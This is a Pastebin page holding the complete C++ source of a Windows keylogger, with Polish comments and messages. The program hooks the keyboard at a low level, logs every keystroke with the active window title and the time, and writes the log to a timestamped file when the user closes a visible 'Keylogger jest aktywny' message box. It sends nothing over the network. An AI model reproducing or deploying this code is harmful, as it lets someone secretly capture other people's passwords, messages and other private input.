Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <fstream>
- #include <Windows.h>
- HHOOK hKeyboardHook = 0;
- std::string LogFile;
- HWND hCurrentWindow;
- char sWindowTitle[256];
- char cReturn[] = {13, 10};
- std::ofstream fLogFile;
- SYSTEMTIME SystemTime;
- char cTime[64];
- char cFileName[64];
- LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
- {
- KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
- if (nCode >= 0)
- {
- if (wParam == WM_KEYUP)
- {
- if(hCurrentWindow != GetForegroundWindow())
- {
- hCurrentWindow = GetForegroundWindow();
- GetWindowText(hCurrentWindow, sWindowTitle, 256);
- GetSystemTime(&SystemTime);
- sprintf_s(cTime, "[ Czas: %02d:%02d:%02d, ", SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);
- LogFile += cReturn;
- LogFile += cTime;
- LogFile += " Nazwa okna: ";
- LogFile += sWindowTitle;
- LogFile += " ]";
- LogFile += cReturn;
- }
- switch(pKbdLLHookStruct->vkCode)
- {
- case VK_RETURN:
- LogFile += "[Enter]";
- LogFile += cReturn;
- break;
- case VK_BACK:
- LogFile += "[Backspace]";
- break;
- case VK_ESCAPE:
- LogFile += "[Escape]";
- break;
- case VK_CAPITAL:
- LogFile += "[Capslock]";
- break;
- case VK_LMENU:
- LogFile += "[LAlt]";
- break;
- case VK_RMENU:
- LogFile += "[RAlt]";
- break;
- case VK_MENU:
- LogFile += "[Alt]";
- break;
- case VK_CONTROL:
- LogFile += "[Ctrl]";
- break;
- case VK_DELETE:
- LogFile += "[Delete]";
- break;
- case VK_SPACE:
- LogFile += " ";
- break;
- case VK_MULTIPLY:
- LogFile += "*";
- break;
- case VK_ADD:
- LogFile += "+";
- break;
- case VK_SUBTRACT:
- LogFile += "-";
- break;
- case VK_DECIMAL:
- LogFile += ".";
- break;
- case VK_DIVIDE:
- LogFile += "/";
- break;
- case 188:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "<";
- else
- LogFile += ",";
- break;
- case 192:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "~~";
- else
- LogFile += "`";
- break;
- case 222:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "\"";
- else
- LogFile += "'";
- break;
- case 220:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "|";
- else
- LogFile += "\\";
- break;
- case 219:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "{";
- else
- LogFile += "[";
- break;
- case 221:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "}";
- else
- LogFile += "]";
- break;
- case 186:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += ":";
- else
- LogFile += ";";
- break;
- case 191:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "?";
- else
- LogFile += "/";
- break;
- case 190:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += ">";
- else
- LogFile += ".";
- break;
- case 44:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "<";
- else
- LogFile += ",";
- break;
- case 187:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "+";
- else
- LogFile += "=";
- break;
- case 189:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "_";
- else
- LogFile += "-";
- break;
- case 65:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "A";
- else
- LogFile += "a";
- break;
- case 66:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "B";
- else
- LogFile += "b";
- break;
- case 67:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "C";
- else
- LogFile += "c";
- break;
- case 68:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "D";
- else
- LogFile += "d";
- break;
- case 69:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "E";
- else
- LogFile += "e";
- break;
- case 70:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "F";
- else
- LogFile += "f";
- break;
- case 71:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "G";
- else
- LogFile += "g";
- break;
- case 72:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "H";
- else
- LogFile += "h";
- break;
- case 73:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "I";
- else
- LogFile += "i";
- break;
- case 74:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "J";
- else
- LogFile += "j";
- break;
- case 75:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "K";
- else
- LogFile += "k";
- break;
- case 76:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "L";
- else
- LogFile += "l";
- break;
- case 77:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "M";
- else
- LogFile += "m";
- break;
- case 78:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "N";
- else
- LogFile += "n";
- break;
- case 79:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "O";
- else
- LogFile += "o";
- break;
- case 80:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "P";
- else
- LogFile += "p";
- break;
- case 81:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "Q";
- else
- LogFile += "q";
- break;
- case 82:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "R";
- else
- LogFile += "r";
- break;
- case 83:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "S";
- else
- LogFile += "s";
- break;
- case 84:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "T";
- else
- LogFile += "t";
- break;
- case 85:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "U";
- else
- LogFile += "u";
- break;
- case 86:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "V";
- else
- LogFile += "v";
- break;
- case 87:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "W";
- else
- LogFile += "w";
- break;
- case 88:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "X";
- else
- LogFile += "x";
- break;
- case 89:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "Y";
- else
- LogFile += "y";
- break;
- case 90:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "Z";
- else
- LogFile += "z";
- break;
- case VK_NUMPAD0:
- LogFile += "0";
- break;
- case VK_NUMPAD1:
- LogFile += "1";
- break;
- case VK_NUMPAD2:
- LogFile += "2";
- break;
- case VK_NUMPAD3:
- LogFile += "3";
- break;
- case VK_NUMPAD4:
- LogFile += "4";
- break;
- case VK_NUMPAD5:
- LogFile += "5";
- break;
- case VK_NUMPAD6:
- LogFile += "6";
- break;
- case VK_NUMPAD7:
- LogFile += "7";
- break;
- case VK_NUMPAD8:
- LogFile += "8";
- break;
- case VK_NUMPAD9:
- LogFile += "9";
- break;
- case 48:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += ")";
- else
- LogFile += "0";
- break;
- case 49:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "!";
- else
- LogFile += "1";
- break;
- case 50:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "@";
- else
- LogFile += "2";
- break;
- case 51:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "#";
- else
- LogFile += "3";
- break;
- case 52:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "$";
- else
- LogFile += "4";
- break;
- case 53:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "%";
- else
- LogFile += "5";
- break;
- case 54:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "^";
- else
- LogFile += "6";
- break;
- case 55:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "&";
- else
- LogFile += "7";
- break;
- case 56:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "*";
- else
- LogFile += "8";
- break;
- case 57:
- if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
- LogFile += "(";
- else
- LogFile += "9";
- break;
- }
- }
- }
- return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
- }
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
- {
- hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
- if(hKeyboardHook == NULL)
- MessageBox(0, "Funkcja SetWindowsHookEx nie powiodła się.", 0, 0);
- MessageBox(0, "Keylogger jest aktywny. Wciśnij OK, aby zakończyć jego pracę i zapisać log do pliku.", "Informacja", 0);
- // pobierz czas i datę, i doklej ją do nazwy pliku
- GetSystemTime(&SystemTime);
- sprintf_s(cFileName, "log%02d_%02d_%02d-%02d-%d.txt", SystemTime.wHour, SystemTime.wMinute, SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear);
- // zapisz log do pliku
- fLogFile.open(cFileName);
- fLogFile << LogFile.c_str();
- fLogFile.close();
- if(UnhookWindowsHookEx(hKeyboardHook) == 0)
- MessageBox(0, "Funkcja UnhookWindowsHookEx nie powiodła się.", 0, 0);
- return EXIT_SUCCESS;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement